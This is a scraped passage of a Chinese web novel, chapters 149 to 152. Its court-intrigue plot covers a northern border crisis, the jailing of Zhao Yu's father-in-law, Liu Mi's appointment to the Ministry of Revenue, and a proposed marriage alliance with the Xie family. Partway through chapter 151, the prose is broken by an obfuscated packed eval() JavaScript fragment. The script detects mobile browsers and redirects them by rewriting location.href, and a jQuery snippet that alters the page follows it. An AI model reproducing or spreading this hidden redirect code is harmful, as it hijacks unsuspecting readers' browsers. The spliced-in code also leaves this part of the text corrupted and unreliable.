对于越筝来说,这个赵格非口中的“赵毓”极其陌生,完全没有自己记忆中“承怡”的模样。 此时,陈尚宫,太贵妃宫里的那个小太监,还有自己身边几个太监已经送完了东西,都从寿康宫里面出来,却见他与赵格非在这里说话,就不远不近等候着。 越筝说,“走吧,我送你出宫门。” 赵格非,“呃,……,这,……”她还没应,越筝已经先走了几步,感觉她没有跟上,就停了一下,赵格非眼见着自己也无法摆脱他,又没辙,于是只能在向前上了两步,跟在越筝身后。 越筝边走,像是又一搭没一搭的聊天,“兄长也回京了,就在祈王府。” 赵格非,“呃,可是北境又有什么事吗?” 越筝忽然停下脚步,“你怎么知道?” 赵格非,“上次我爹带我去王府,就是为了宴请北境远道而来的殷先生。所以,我觉得,我爹启用那里,应该事关军国大事。” “你见过殷忘川。”这不是一句问话,越筝继续边走边说,“觉得他人怎么样?” 赵格非,“说不上来,……” “嗯,一面之缘而已。”越筝明白,“你还小,自然也看不明白。” “……”赵格非心想,越筝不知道,而她爹则是忘记了,也许,连殷忘川也忘记了,——去祈王府那次,并不是她第一次见殷忘川。 很多年前,她很小的时候,有一年被她爹带去敦煌。 那个时候的殷忘川,并不是“曾经祈王身边过了明面的侍妾”,而是“西北部族的殷小哥”。 她早慧。有些小时候的记忆,虽然不是很清晰,却有破碎的印象。这些记忆就像是被撕碎的图,有的时候风吹散了它们,于是它们就被遗忘;可有的时候,没有风了,这些碎片又模模糊糊被拼凑出来。 那个时候在敦煌城外,靠近城池,有河水,有绿洲,更多的,却还是沙漠。很多人聚集在那里,篝火烧得极旺,驱散了沙漠入夜的寒冷。一些人围绕着火堆载歌载舞,还有人弹奏着龟兹的箜篌、吹着篦篥、敲打着羯鼓。 烈酒,与酸马奶酒。 烤肉、烤鱼、烤土豆,飘荡着西域香料浓稠的香气。 赵格非记得那个人,她甚至记得别人对他的描述,——清冷如同月光一般的额头,蓝色的眼睛,犹如昆仑万年不曾消融的冰川。 还有他身上的香气。不同于眼前这位七叔的冰冷瑰麝,也不同于六叔身上旁人敢于使用就是僭越就是死罪的浓重禁忌,那是一种来自远方的味道,沙漠中升腾的幻境,覆盖了战场与无边的枯骨。 他极能喝酒,也能舞蹈。 他的舞,极度有力量,甚至有杀意,却是极度的华丽,像极了绵延敦煌数百里,缠绵了上千年那些壁画上的神明。 那个时候,父亲部下们与他相处很融洽,他们在一起斗酒,彼此都异常实在,你一口我一口,一大堆喝空的牛皮囊,大醉三天三夜。 他们说,“在西北军赵毓部,能在同一个牛皮囊喝酒的人,就是袍泽。” 他们说,“在高昌,一同醉酒的人就有过命的交情,就是兄弟。” 忽然,越筝停下,“到了。” 赵格非一看,果然,不知不觉中,他们就走到了宫门,外面有等候的马车,接她去谢家书院。 “七叔,我去学堂了。” “嗯。”越筝点头,却绝对不靠近宫门十步之内,像是身上背负着枷锁禁令,“好好读书。” 赵格非,“……” 150. 150 150 赵毓睡得昏天黑地,等他似乎要醒过来,便下意识伸手摸了摸身边,空无一人。于是便要将手缩回来,却被人握住了。于是,他就着这个,把那人的手指拉到嘴唇边上,轻轻亲了一口。 “醒了?” “嗯。” “醒了就起来吧。”文湛没有抽回手指,就这样被赵毓拉着,手指腹轻轻摸着赵毓的手指,“我让人从宫里宣了厨子过来,按照你的口味做了几样小菜,也熬了白粥,你起来,正好吃点。” 赵毓抓了抓头发,迷迷糊糊从床上坐起来,发现外面依然很暗,并且又下雨了。 文湛没有问他他们临睡前那个问题,——承怡,如果放任山海关乱起来,…… 因为,赵毓口中的“容后再议”就是不再议了。 饭菜就摆在水榭当中。 敞开的雕花窗子,被烟水笼罩,沿着水岸生长的茶花树丛作为背景,此时黑云压盖的雍京,也显现出一丝的诗情画意。 赵毓用筷子夹起来一块清蒸的山药,沾了沾腌渍桂花酱,“柳密也在微音殿?北境军情,需要他督察院吗?”一边说着,一边把山药送到文湛口边,“尝尝这个,知道你不爱吃甜腻的东西,这个桂花酱是用盐腌制的。如果你觉得能吃,我让黄瓜多腌点儿,留着给你沾点心吃。” 文湛咬了一口,“嗯,挺好吃的。”随后,他细细吞咽了,才说,“北境军情不需要督察院,不过,微音殿上各方势力都在,我嫌他们吵闹起来没有章法,让柳密过去镇在那里,他们说话也有所顾忌,省得吵闹得我脑仁儿疼。” 赵毓,“……” 这次文湛喂了他一口火炙鹿肉,“尝尝这个,刚从南苑送来的鹿腿,虽然不是我亲手猎的,不过也是新鲜的。” 赵毓忽然想起来,今年开春,他在崔珩家中住,黄枞菖奉命来送文湛亲手猎杀的鹿,…… “圣上亲手猎的呀。~~~~”崔珩阴阳怪气地来了一句,“那他老人家最近心气应该不太顺。” 赵毓看了崔珩一眼,“又乱说话。” “我可没乱说。你没见刚才那鹿抬进来的样子,死不瞑目啊。身上插|了得有,……”崔珩眼球向左边转了转,当真是回想起方才看到的情景,手指攒动,数着数,“一、二、三,……,大约得有七八枝长箭,每一支都不致命,活生生的放血,我都替那头鹿疼的慌。血肉模糊,惨不忍睹!死不瞑目,当真是死不瞑目啊。” …… 思绪回转,赵毓笑着,说了一句,“不是你亲手猎的,就是味道差点。” 此时,黄枞菖端着一个木盘,里面放了两盅松茸汤,走过来。听赵毓这样说,他面无表情,只是低垂着的眼睛翻了个白眼,——鹿就是鹿,死在谁手中也都还是鹿,变不成猪。味道还能有啥不一样? “嗯。”文湛却异常受用,“以后你吃的鹿肉,我去猎。” 赵毓,“这次在微音殿议事,叫兰芝社的人了吗?东南赋税占军费大头,在征税之前,也总得让人家说说话。” “我直接宣沈熙载觐见。”文湛说,“也就不用其他人再传话了。” 赵毓,“这个人,虽然仅仅是三品光禄大夫,却执兰芝社牛耳,他在也好。不过,……” 文湛,“嗯?” 赵毓,“这人一贯谈玄,要是在微音殿上揣着明白装糊涂,在诸位大人议事的时候背起了《论语》,实在不像个样子。” 文湛,“如此情景,眼看朝廷出兵在即,征税是必然的,他不在此时为兰芝社多争夺一些利益,反而不合时宜谈玄,不像他所作所为。而且,他也没有谈玄。微音殿上的确有人背经书,不过背得不是《论语》,而是《孟子》,——我四十不动心……善养吾浩然之气。” 赵毓乐了,“谁啊,挑的句子还挺应景。”说着,拿着勺子吃粥。 文湛,“柳密。” 赵毓笑得口中白粥都喷了出来,“沈熙载一贯清高,总是藐视凡尘,有事儿没事儿整个子曰诗云,显示自己并非红尘俗物。其实,他背得那些经书,对于他来说,也就是个解闷儿的玩意儿,他的理解也未必有多深刻。可是,柳密不一样。柳总宪出身寒门,这些对于他来说,就是身家性命,就是高爵厚禄,就是君王厚望,就是大正。当真要论起来,恐怕这些书中,每个字,都刻在柳密的骨头渣里,剜都剜不掉。论背书,十个沈熙载在柳密面前,都是菜瓜。” “不过,……,文湛,柳密一贯不开口,他怎么会在微音殿上背书呢?” 文湛,“顾澹、查伊瑝话里话外说,西北数百年战局方歇,此时正是休养生息之时,北境之事,绥靖、安抚、妥协,任何一种选择都可,就是不能再出兵。否则,朕这个皇帝,就有穷兵黩武之嫌。随后,将话头扔给柳密。柳密没接,背了《孟子》,用你的话说,也是微音殿上一景。” 赵毓听着就是一挑眉,原本温和的眉,不知怎的,竟然像是剑一般生出一股杀意,像是野兽受到挑衅。 文湛,“没事。你去西北这十年,书生们没少说兴亡百姓苦,我为了大业穷兵黩武,还说,西北蛮荒之地,弃了就弃了,没必要压榨东南赋税,扩无用荒土入国境。这种话,听多了,也就习惯了。” 赵毓,“我大郑国土,西高东低,如果丢失西北,中原至东南无险可守,根本就是砧板上的鱼肉了。小时候,老爹不止一次拿着堪舆图教导我,——大郑第一道关是嘉峪关,第二道是娘子关,第三道就是雍京西端。倘若有兵灾,山河玻碎,到了非丢城弃地保存兵力不可的地步,江南可弃,中原可弃,只要重兵守住这三道关口,大郑依然可以东山再起、收复河山。当然,西疆平定,那些土地就算是荒漠,只要握在手中,大郑江山社稷无可撼动,这些,书生们不知?” “他们不知,方是本分。”文湛平淡回答,“承怡,先帝教导你的,是帝王术。” 帝王术,又是帝王术。 异常不合时宜,却又异常合时宜。 赵毓叹口气,“文湛,幸亏,主上是你。” 他忽然动了个念,“陛下,我有一个疑问。您这淡泊的样子,随便那些书生怎么说话也不恼,究竟是仁德,还是傲慢?” 闻言,皇帝不答,仅莞尔一笑,隐着千年皇族血脉的珍稀与骄傲。 赵毓,“一会儿吃完饭,你肯定去微音殿,我也回宫一趟。我寻思着,回玉熙宫把那个玄铁虎符拿出来,放在祈王府也好,随身带着也成,总归,以后应该能用得上。” “好。”文湛点头,“一起走。” 赵毓,“分开走吧。多事之秋,别吓着人。” 文湛,“随你。” …… 赵毓,“闺女,你七叔送的吃食,你没尝尝?” 赵格非摇头,“祖母说了,秃黄油她不爱用,嫌腻,还说那是您的口味,等您回去,给您拌米饭吃。还有些点心,倒是真挺好吃的。” 这是大正宫的玉熙宫。 正殿大门敞开,可以看到外面的园林。 连着两天的雨水,已经将泥土浇透,宫门内本就是一片奇花异草,此时被氤氲雾水笼盖,散出馥郁芬芳。 赵格非在点茶。 茶粉放入建盏,用银壶冲入沸水,她手中茶筅快速击拂,沫浡浮现。 黄枞菖帮赵毓找完了书,就极认真将海黄书桌上的玄铁虎符收好。 而赵毓,则在书柜前面,两只眼睛像是风吹过的柳树枝条一般,随意飘动,扫着那一排一排被分拣出来装订成册的山河图,伸手,拿下来一本,打开。 ——北境。 原本远在冻土如同被历史封冻一般的关隘,此时如锋刃烈焰一般。 赵格非将三个茶盏放入托盘中,同时,又在托盘中放了一个小瓷盘,里面是几朵粉嫩的荷花。她端到这边,“爹,黄瓜叔,喝茶吃些点心。这就是七叔的人从南边带过来荷花酥。” “好,黄瓜,咱先歇歇。” 赵毓说着,就把北境图放在桌面上,顺手把赵格非手中的托盘拿过来,将茶点在桌面上铺开,三个人围着,开始吃喝。 赵格非看了看赵毓一身行头,忽然笑了,说,“爹,我从来没见过您穿黑色缂丝翔鸾纹的衣袍,您这一身,还挺精神。” 大郑律法,只有名字写在宗室玉牒上的王公才能穿此等颜色,此等纹路的锦绣衣袍,其他人,敢沾身,就是僭越,就是死罪。 “唉。”赵毓叹气,“这不是要干活嘛,得先扮上。” 赵格非问,“亲爹,您这个意思,是您亲自出兵?” 赵毓摇头,“不是,出兵这活儿应该和我没什么关系。这其中牵扯到北境总督徐绍,北境诸藩,兰芝社,定国公裴檀,天下第一雄关山海关的驻守,蓟辽总督白策,雍京内各方势力,等等,都搅和在一起,比麻花还扭,比乱麻团还乱。我身份特殊,要是再掺和进去,再把西北扯进来,让好不容易平和的西疆局势再起波澜,那就当真热闹了。我想着,雍京毕竟不是戏台子,安宁冷清比热闹要重要得多。” “还有,……” …… 皇帝,“承怡,如果放任山海关乱起来,……” …… “还有。”赵毓说,“你六叔,应该也有自己的想法。” 听这话,赵格非抬头看着他,而赵毓则低头吃点心,“亲爹,六叔和您,想不到一块去吗?” “不是。”赵毓没抬头,手指把拿在手中的荷花酥碾碎了,一点一点捻着吃,“就是想到一块去了,……,才麻烦。” 赵格非,“……??” 曾经手握西北重兵的亲王与雄才伟略的皇帝,对于北境困局的破解方法,如此一致,那么,这个方法无论再血腥残酷,再罪孽深重,它都是最好的那一个,也许,也是唯一可行的那一个。 见赵毓不多说,赵格非又给他弄了一盏茶汤,“爹,既然您不出兵,着急拿虎符又为了什么?” 赵毓,“粮草。” 兵马未动粮草先行。 打仗,拼到最后,拼的就是补给。 “元承行可以发债票凑军饷,只是,这一次是千夫所指,比我当年在西北要难得多。这个玄铁虎符是当年太|祖皇帝征战天下所用,有征伐诛杀诸侯的权力,要是在粮草上有人使绊子,用它镇压,简直就是牛刀杀鸡,神兵利器砍瓜切菜,省力又好用。” 正说着,外面有小太监进来,黄枞菖耳边低声说了点什么。 而黄枞菖听着就是一愣。 随即,那个小太监连忙退了出去。 赵毓,“怎么?” 黄枞菖,“柳密在外面。要见我。” 玉熙宫是三百年前宪宗皇帝修真打醮的地方,所以,这座宫殿自建造伊始,便带着道家的清静无为。如今,烟水笼罩宫门内景致,海外诸国贡品花草的奇异香气,形成了一股海市蜃楼却生机盎然的虚幻。 柳密祖籍邺郡,那里是周王封地。他年幼的时候曾见过周王府邸的外墙,其它的记忆已经淡了,就留下一个干枯狰狞的印象,与眼前的一切截然不同。 黄枞菖自己拎着琉璃灯走出宫门,看见柳密立于门外。 夜雨愈加紧了。 这位都察院左都御史单手撑着一把油纸伞,身边有低头提灯的小宫监,他一身紫蟒在浓重雨水中若隐若现的灯火中,显得冷峻而煌煌。 “黄秉笔。”柳密抬手一揖礼。 黄枞菖也还了礼,“柳大人,找我,有事?” 柳密点头,“自先帝凤化三十年始,一直到今年元熙十四年,这二十四年的漕运存档,在黄秉笔手中。” 黄枞菖点头。 柳密,“奉旨。” 黄枞菖一听,连忙跪了。 柳密,“我奉陛下旨意,查阅这些存档。”说完,赶紧将黄枞菖搀了起来。 “主上的旨意,奴婢自当勉力。”黄枞菖,“只是,柳大人何时需要?” 柳密,“越快越好。” ——“越快越好,也不急在这一时半刻。”赵毓的声音,从宫门内飘了出来。 “这么大 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人都走了,周围很安静,赵毓和赵格非这爷俩就站在回廊下,看着外面。大正宫黑色的琉璃瓦,承着天空浇下来的雨水,嘈嘈切切的,犹如珠玉落盘,而这,与民间用的普通瓦片大相径庭。 “爹,我听说,您之前就认识我们书院的谢师。” 赵毓一回神,“谢十一?” 赵格非,“嗯。” “对,我认识。”赵毓点头,“我与她兄长谢翾飞很熟。算来,七、八年了吧。那一年大凶,你娘走了,然后先帝也驾崩了,我回雍京奔丧,就动了给你在雍京找书院的心思。云中虽然有你外祖父一家,住得舒服,可是为了你的前途,还是在雍京找老师靠谱一些。当时我就看中了谢家的书院,就与谢冬荣有了一些往来。那个时候,你那位谢师还没出阁,就陪在谢冬荣身边,我就认识了。后来西北军务实在太紧,你还太小,我不能人在西北留你一个人在雍京读书,就把你带回云中了。闺女,怎么忽然说起她了?” 赵格非,“我总觉得,如果能有位这样的姐姐,挺好。” 赵毓一乐,“我成亲就够早的了,只能生出你这么大的丫头,我可生不出她那个年纪的闺女。还有,我在家里就是老大,你其他叔叔,不算埋土里的,上山吃斋念佛的,就是你六叔有个娃,哦,还有老崔那个不靠谱的,也是光棍一条。你七叔只比你大六岁,要不是萝卜大在辈上,他倒算是你兄长。” 闻言,赵格非想起来,白天时,自己与雍王越筝这位七叔话不投机却没话找话的样子,眨了眨眼。 “不许出这个表情,他毕竟是你七叔。”赵毓说着看了看天,“走吧,雨小了一些,看样子后面还有得下,趁着这个空,咱们快走。” 还没等撑起伞,就看见黄枞菖惨白着一张脸,从宫门外蹿了进来。他刚想要张嘴说话,看见赵格非还在之后立刻闭嘴,像个陡然被锯了嘴的葫芦。 赵毓心中也是一咯噔,“怎么了?” 赵格非见状,说,“爹,我在外面等您。” 见她走到外面的亭子中看花草,黄枞菖这才靠近赵毓低声说,“您还记得程风吗?” “怎么不记得?”赵毓一愣,“端午那夜,就是他双手捧着血书跪于大正宫午门,状告北境总督徐绍,为夺取北境军权私杀友军,为掩盖滔天罪行将他程氏一族灭门的大罪。因为牵扯太大,圣上已经将他下诏狱关押,容后再查,再审。” 黄枞菖,“已经查完了。” 赵毓一惊,“怎么,圣上要动徐绍?可是,这个节骨眼,……” 此时,黄枞菖那张白脸,像是纸糊的,雨水都快给淹透了,“程风通敌叛国,罪证确凿,原本就应该被诛灭九族。可他侥幸从北境逃出之后,不思苟且偷生,又到雍京诬告总督徐绍,妄图天子自毁长城,实在罪不可赦。” “程风通敌叛国?不可能!!!”赵毓的声音都劈了,“他曾经是我的副将!……不行,我得去一趟微音殿。” “祖宗,您不能去!”黄枞菖死死揪住赵毓的胳膊,“尹部堂那条腿,当年是怎么断的?” 这声音大到,外面凉亭内的赵格非都听到了。 外祖父的腿,…… 她外祖父尹明扬断腿致仕之前,曾经是兵部尚书兼宣大总督,行辕就在云中。他有些不幸,在一场对阵漠北游兵散勇的战役中被人用长/枪从战马上挑了下来,摔断右腿。大郑朝廷有禁令,身体有残缺的人无法立于庙堂,于是尹明扬尹总督在战争结束之后顺势上书乞骸骨。今上爱重人才难得,三次驳回尹明扬的奏折,当尹明扬第四次上书辞官回乡,皇帝免为其难应允,准许他回乡休养。 这事朝野尽知! 黄枞菖,“是因为他丢失了兵符,用一条腿,断尾求生。陛下念他,……,毕竟,……,是,……西北功臣。” 仅仅是“西北功臣”的尹明扬,并不足以让皇帝网开一面,而真正让重罪之人全身而退的,是因为他是赵毓的岳父。 黄枞菖,“所以主上才格外开恩,一力弹压朝野物议,命他致仕。” 那时,赵毓已经削了西北军,返回雍京,对于此事,他所知甚少。许久,他,“所以,我老丈人的兵符并非丢失了。” 黄枞菖,“当年,尹部堂将兵符给了程风,虽然不妥,却是分兵救援北境。只是,那兵符,程风再也没有归还。后来,不知道发生了什么,这枚兵符在西疆余孽浑·撒怜丁身上。祖宗,还记得,去年您在冉庄遇险,浑·撒怜丁等人一路追杀,您用细链弩|箭在他身上套回来一个牛皮袋子?” 赵毓僵硬点了点头,“记得。” 当时就是一顺手的事,随后就扔给了崔珩,他就没再管。 黄枞菖,“那个牛皮袋子里面,装的就是尹部堂给程风的兵符。” 说到这里,黄枞菖看着赵毓,咬了咬牙,才将后面的话说完整了,“因为此事株连,尹部堂与公子尹徵,已下诏狱关押。” 151. 151 151 寿春宫。 太贵妃的心腹宋尚宫撑着伞站在宫门外。 于是,赵毓连忙带着赵格非过去,“宋嬷嬷,劳烦您亲自站在这里等,我们爷俩心里怪不落忍的。最近雨水多,这宫里潮湿得都能养鱼了。我给您的白虎骨泡的酒,您最近用着怎么样子?” “行了,别贫嘴了。”宋尚宫看了看他,叹了口气,“你把姑娘交给我,自己忙正事去吧。” 赵毓有些意外,“您都知道了?” 不过想了想,又不那么意外了。 文湛登基之后一直没有册立皇后,多年来,后宫里名分最高的女人就是自己的母亲太贵妃,依照大郑多年前的旧法,鬼知道是哪里来的老黄历,——由太贵妃执掌后宫。 作为一个能够稳定文湛后宫的女人,…… 赵毓想着,感觉有些诡异,不过想来想去,似乎事实就是这样。 好吧,事实就事实。 赵毓,“我娘也都知道了吧。” 作为一个能够稳定文湛后宫的女人,太贵妃在宫廷中自然能看得见摸得着,不然,怎么执掌宫廷多年? 宋尚宫,“毓儿,你别太担心。今晚,在雍京城,被围禁、被关押、被禁足的藩镇,不止亲家一家。他们之所以招眼,其实主要还是因为亲家公子自小在老家云中长大,没有留在雍京为质。平日风平浪静的时候,不显,如今一出事,这十几年的嫉恨就发了出来。” 一条不成文的惯例,七百余年了。手握重兵的宗室藩王、“藩镇”、将军,还有总督、提督这样的封疆大吏都有儿子居住在雍京城。这些王族、朱门贵公子们说是被荫蔽的苗裔,自幼享受京师的千年繁华,说到根上,他们是被父祖兄长质押在天子眼皮子底下的人质,置换“虎符”的傀儡。尹徵自赵毓与尹明扬出征西北起,就跟随家族回到云中,其实是极特殊的例外,特殊到,七百年来,仅此一人。 “唉。”赵毓又叹口气,“说到这个,其实,桂宝儿是为了花骨朵扛了雷。” 赵格非转了转手中的伞柄,“我?” “嗯。”赵毓,“闺女,其实当年兵部要留下的质子,是襁褓中的你。毕竟,我才是拿着虎符的西北统帅,你才是我的命根子,只有你才有资格作为置换虎符的人质。怎么样闺女,你荣幸不?” 赵格非,“……??” 我荣幸个鬼啊! “我舅他,又是怎么应做质子,结果没做成呢?” 没等赵毓开口宋尚宫就逐客了,“外面事多,都等着你,你快走吧。” …… 元熙四年,微音殿。 西北战事已起,前亲王赵毓已接太上皇亲自赐与的玄铁虎符,厉兵秣马、枕戈待旦。其所在家族尹氏请旨离开雍京,迁回西北。按照七百年的惯例,手握重兵的将领,在家族离京的时候,要留质子。 只是,眼前情况有些特殊。 赵毓,——他年轻,新婚,只有一个年幼的女儿。 可是,尹氏上表请旨,留在雍京的质子,却是尹明扬的儿子,尹徵。 要说,尹徵倒是儿子了,可惜,却不是赵毓的儿子。虽是至亲,在血脉上却隔着一层,作为置换玄铁虎符的人质,分量不够。 为了此事,内阁、兵部一些人,在微音殿也是争论不休。 兵部侍郎严珣,“按照大郑千年宗法制,女儿无法承袭宗庙,分量自是不及儿子,却是赵毓唯一的骨血,于情于理,就是质子唯一之选。赵毓既为重臣,就应为主上分忧,只留女儿分量不够,微臣谏言,其妻女具留雍京为质。” 彼时的柳密只不过是七品翰林院编修,虽然名位不显,却极尊贵。二甲头名进士及第,翰林院庶吉士,皇帝钦点微音殿伺候笔墨,天子近臣,储相,——非进士不入翰林,非翰林不入内阁。 今日轮到他在微音殿当值。 他就安静站在御座旁,微微低着头,一言不发,听着这些。 皇帝一直没有说话。 过了一会儿,他抬手拿着茶盏,喝了口茶,又放回去,名贵瓷器琮琮琤琤的声音,犹如珠玉碰撞,不知怎的,周围陡然安静了下来。 “此战事涉及到我大郑千年社稷,数百年边境安宁。祈王,……” 此时,皇帝又安静了。忽然,他抬眼,看着微音殿雕花窗的外面,一片红莲池,眼神幽微,不知道在想什么。他似乎察觉,又似乎没有察觉,此时,“祈王”这个称呼是如此的不合时宜。 “祈王”已经被上皇下旨罢黜,可是,命赵毓出征,赐他玄铁虎符,平定西疆,却也是上皇的旨意。 今上如何想法,竟是谁也不知。 “……出征西北,肩负社稷,断不能为此等小事分心。其妻体弱,女儿尚在襁褓,远离家人独居雍京不好将养身子;尹徵三岁稚儿,不适宜离开母亲。既然如此,朕准许尹氏全族离京。” 众臣哗然! 只是,在微音殿,在皇帝面前,此等惊涛骇浪般的哗然也是悄无声息的。 文湛一言九鼎。 此事,就算再不合祖宗之法,也就此了结了。 等众臣离开,微音殿上,皇帝身边,只有司礼监的秉笔黄枞菖与伺候笔墨的柳密。黄枞菖重新沏了一盏茶,奉到文湛手边。柳密则在一旁的书案上,握笔疾书,将方才的事情做一个简短记录。 文湛忽然说,“柳密,朕听闻,你请旨辞去翰林院编修一职,自请调任户部,为一钱粮小吏?” 饶是柳密心思缜密,沉稳,陡然听到皇帝发问,手中的狼毫一顿,墨淤了起来。 这张,算是废了。 他连忙放下笔墨,从书案前起来,躬身站在御座之前,“是。” “你别害怕。”文湛说,“朕就是好奇。” 皇帝说话一向很轻,似乎高声一些就能累到他,却犹如金声玉振,让人在御前必须屏住呼吸,全神贯注应答,不然,君威之下,祸福难测。 文湛,“一般像你这样的读书人,成为天子门生,翰林院庶吉士,前途就已经明朗。只要在翰林院熬资历,散馆之后,在六部之间转一转,坐的,都是一些清贵的位子,以后的仕途看因缘,入阁拜相也可期待。朕只是奇怪,你为何在此时去户部,做读书人眼中的风尘俗吏呢?” 柳密感觉有些奇怪: ——皇帝这话,说得也太直白了。 虽然外人都说柳密是天子近臣,明白帝王之心,可是他自己心中明白,——今上此等君王,心境犹如万仞悬崖,莫说靠近,远观也未必没有杀身之祸。 柳密收敛了心神,想了想,准备实话实说,“臣出身寒门,虽通过八股取士,侥幸成为天子门生,却深知自己不是宰辅之材,也不做虚妄幻想。臣自幼父母双亡,一路挣扎,深知民间疾苦。臣做官虽然也想着光宗耀祖,可是终归还是想要为百姓做一些事情,方不负这十年寒窗苦读。如今西北用兵在即,兵马未动粮草先行,臣想去户部,为西北调粮尽一些绵薄之力。” 闻言,文湛忽然笑了。 柳密从未见过皇帝如此笑,——轻盈却真挚,一瞬间,微音殿犹如异宝华彩绽放,神迹降临。 “柳密,你是否与我兄长相识?” 似乎,天灵盖被敲碎! 赵毓如此复杂身份,皇帝如此犀利察觉,似利刃直劈,一贯缜密沉着的柳密竟不知如何应对。 文湛却淡然温和,“朕说过,你别害怕。实话实说就好。” “臣,……”柳密艰难地咬了咬牙,才说,“臣与殿下并不相识,只是多年前,在卢沟晓月,有过一面之缘。” …… 此时,柳密看了看微音殿外,那就是太液池。 起风了。 池水泛起波澜。 靠近微音殿这一侧的岸边围着汉白玉的栏杆,水中种了红莲。这是大郑禁宫独有的莲花,浓重的红色,有些花瓣甚至近似于黑,摇曳着千年前古老绮丽的传说,极魅惑,却也极危险。 莲池边站着一个人,…… “言慎。”微音殿中,内阁大学士顾澹叫柳密,称呼的是他的字,“这一次,还是背《孟子》吗?” 这是御前听政! 柳密听见顾澹与自己说话,只是将视线从莲池外移了过来,却没有说话。 顾澹又说,“西北诸藩手握军政大权多年,有些家族甚至已经传承数代,势力上盘根错节,督察院查办起来可是要多费功夫。不过,总宪大人慎密,只要用心做事,不偏不倚,差事自然不会办差。” 闻言,柳密笑着一拱手,“顾阁老谬赞。柳密无他,忠君之事而已。不过,……” 他又是一笑,“西北诸藩如何,柳密无置喙之地。我已辞去督察院之职,不日调任户部。” 顾澹极力压住震惊,温和地说,“原来言慎就是新任户部尚书。” 微音殿霎时,鸦雀无声。 唯独留下御座之上的文湛,玉白色的手指,端着建盏细微喝茶的声响。 如果户部依旧在兰芝社手中,元承行可以发债票凑军饷,赵毓的虎符可以强悍镇压,可是,终究是名不正。 名不正则言不顺。 可是,一旦户部真正在柳密,也就是说,在皇帝手中! ——东南赋税将任由皇帝予取予夺! 原户部尚书梁崇山,背靠兰芝社,怎么就没能把这个位子牢牢坐稳呢? …… 再向前,…… 赵毓停住。 从寿春宫出来,他撑着伞走了很久,不知觉就到了这里。 微音殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729009|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。——黑瓦朱墙并不宏伟,殿外四周开阔,站着几排石像一般的御林军。这里没有禁宫中其他宫殿的雕梁画栋,也没有御园水榭亭台的烟雨朦胧,却独有一份肃穆和端庄。 这是皇帝处理机要大事的地方。 这是王朝的纪要中枢。 宫殿的灯火洒下点点碎金,印在波浪上,明灭摇动,犹如万千游鱼渡过沧海。 眼前就是一片红莲。 他的手指在汉白玉的栏杆上敲击了几下,滴落的雨水蒙在他手指上,有些凉意。 “怎么,陛下还是不见你?” 突然出现的声音,赵毓一哆嗦,扭回身,发现是燕王,于是连忙行礼,手中的伞就显得有些累赘,燕王伸手一挡。 “行了,别弄这些虚礼了。” “王叔怎么不在殿内?” “陛下召文官们议事。”燕王说,“我出来透口气,没想到就看到你。” 赵毓,“我来是因为……” 燕王,“令岳的事。” “呃,……”赵毓不知道要怎么说,“算是吧。不过,王叔,我……” 燕王叹气,“你现在处境艰难,只陛下不见你这一条,你就身处劣势。” 赵毓,“不是,我的意思是,……” “我明白,我都明白。”燕王点头,伸手拍了拍赵毓的右肩膀,避开了他受伤的左肩,“我让你洁身自好,身边坚清壁野,就是为了让你不给言官再弹劾的口实。这样做,甚至不是为了防小人,防得恰恰是那些大义凛然的君子们。陛下不见你,你就失去了在御前自辩的机会,功过任由外人评说,真相则失之毫厘谬之千里。” 赵毓,“王叔,其实陛下与我,……” 燕王,“陛下天恩莫测。他不见你,自有不见你的因故。奉宁多次在御前请旨见你,陛下也没准。此时,你务必要忍耐,不可授人以口实。如若陛下与你天家骨肉起萧墙之祸,恐奸佞小人趁机作乱。” 赵毓无语,长长叹口气。 燕王以为赵毓终于听进去他的劝说,又拍了拍他的右肩膀,“你与西北藩镇关系太密,此时需要后退一步。” 赵毓,“啊?” 燕王,“你夫人亡故多年,你未续弦,所以,在朝野眼中,你依旧隶属于西北诸藩。如果此时,你续一门亲事,这道难题迎刃而解。” 赵毓,“王叔您这就难为我了。我有枕边人了。” 燕王点头,“我知道,你上次也说明白了。我并非让你放弃他,只是,让你再续弦而已。婚姻,上承继宗庙,下绵延子嗣,这两样,你那位爱宠什么都不能做,他也无法替你洗脱西北藩镇的底子。承怡,此时并非儿女情长的时候。” 赵毓摇头,“王叔,这个就别想了。我已心有所属,再者,想要用联姻脱身,小门小户不管用,高门大户又是一场权力搏杀,忒麻烦。我也不年轻了,晚上就想搂着他睡个大头觉,我真没心思和枕边人以及她的家族扯淡了。” 燕王却说,“如果我说,想与你联姻的是谢氏?” 谢枯荣家族。 书香门第,数百年的名门望族,足可以清洗赵毓“西北藩镇”底子的高门。 而且,更妙的是,谢氏与赵毓交好。 赵毓,“去年,谢枯荣就想要把嫡次女给我,那个女娃就比我闺女大个一两岁,这不胡闹吗?” 燕王,“这一次,谢氏许嫁的是嫡长女。” 赵毓笑裂了,“别以为我没看过谢氏族谱就蒙我。他们家嫡长女是谢纯熙,我闺女的老师,早就嫁人了。嫁的人家就是梅帝师的孙子,是位翰林,现在,那后生就在微音殿呢。” 燕王眼神异常,“对,就是她。” 赵毓一愣。 燕王,“谢家与我说的时候,我也觉得匪夷所思。一来,这位谢夫人依旧是梅家妇,再来,这位谢夫人,恐难再生养。可如今我看你这情形,……” 赵毓没说话。 燕王,“谢家说,他们将此女许你做继室,同时,将其一庶妹陪嫁做媵妾。” 赵毓陡然一乐,“这是结亲还是结仇?他们老谢家想要省米粮,把俩大姑娘打发到我家吃喝?” “说这话,你不混账吗?”燕王说,“既然是联姻,须得为你生养子嗣,那位媵妾就专司此职。我想,谢家足够诚意了。” 对,赵毓心说,——足够诚意,并且,可怕的是,这一针,扎自己的脉,扎得也太准了些。 谢十一,这位女子,在世人眼中是极其不合适的联姻对象,违背了宗法,违背了人伦,却是赵毓愿意点头的联姻对象。 当然,前提是,他想要联姻。 能提出这个普通人看来匪夷所思提议的人,必须对赵毓有着极其恐怖的洞察与认知。 此人是谁? 152. 152 152 